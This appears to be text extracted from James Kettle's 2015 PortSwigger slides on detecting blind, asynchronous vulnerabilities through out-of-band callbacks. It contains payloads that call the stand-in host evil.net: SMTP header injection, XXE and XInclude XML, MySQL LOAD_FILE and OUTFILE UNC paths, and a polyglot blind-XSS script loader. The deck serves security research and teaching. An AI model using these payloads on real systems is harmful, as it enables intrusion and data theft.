Hunting Vulnerabilities: Asynchronous
Hunting Vulnerabilities: Asynchronous
ASYNCHRONOUS
VULNERABILITIES
James
Kettle
THE
CLASSICAL
CALLBACK
From: no-‐reply@redacted.com
To: James
Kettle
Subject: Order:
103092185
Hi test,
• Why
DNS?
• Rarely
filtered
outbound
• Underpins
most
network
protocols
Attacker
User
©PortSwigger
Ltd
2015
All
Rights
Reserved
SMTP
HEADER
INJECTION
%0AReply-‐To:
hacker@evil.net%0A%0A<zip_bomb>
Website
Attacker
User
©PortSwigger
Ltd
2015
All
Rights
Reserved
<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<root>
<foo>&xxe;</foo>
<x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
href="http://xi.evil.net/" ></x>
<y xmlns=http://a.b/
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://a.b/
http://schemalocation.evil.net/a.xsd">a</y>
</root> ©PortSwigger
Ltd
2015
All
Rights
Reserved
SQLi:
POSTGRES
• From
https://bog.netspi.com/advisory-‐xxe-‐injection-‐oracle-‐database-‐cve-‐2014-‐
6577/
• No
privileges
required!
• Patched
eventually
©PortSwigger
Ltd
2015
All
Rights
Reserved
SQLi:
MySQL
• LOAD_FILE('\\\\evil.net\\foo')
• Windows
only
• SELECT
…
INTO
OUTFILE
'\\\\evil.net\foo'
• Windows
only
•Bash:
$ command arg1 input arg3
$ command arg1 'input' arg3
$ command arg1 "input" arg3
•Windows:
>command arg1 input arg3
>command arg1 "input" arg3
©PortSwigger
Ltd
2015
All
Rights
Reserved
POLYGLOT
COMMAND
INJECTION
+(s=document.createElement(/script/.source),
s.stack=Error().stack,
s.src=(/,/+/evil.net/).slice(2),
document.documentElement.appendChild(s))//'>
©PortSwigger
Ltd
2015
All
Rights
Reserved
BLIND
XSS
• Sleepy
Puppy
• Allows
custom
script+payload injection
• Webserver
in
docker container
• https://github.com/Netflix/sleepy-‐puppy
•URL grepping
•Scope
©PortSwigger
Ltd
2015
All
Rights
Reserved
TAKE-‐AWAYS
Asynchronous
exploits
fail
silently
Invisible ⇏ unhackable
@albinowax
james.kettle@portswigger.net
©PortSwigger
Ltd
2015
All
Rights
Reserved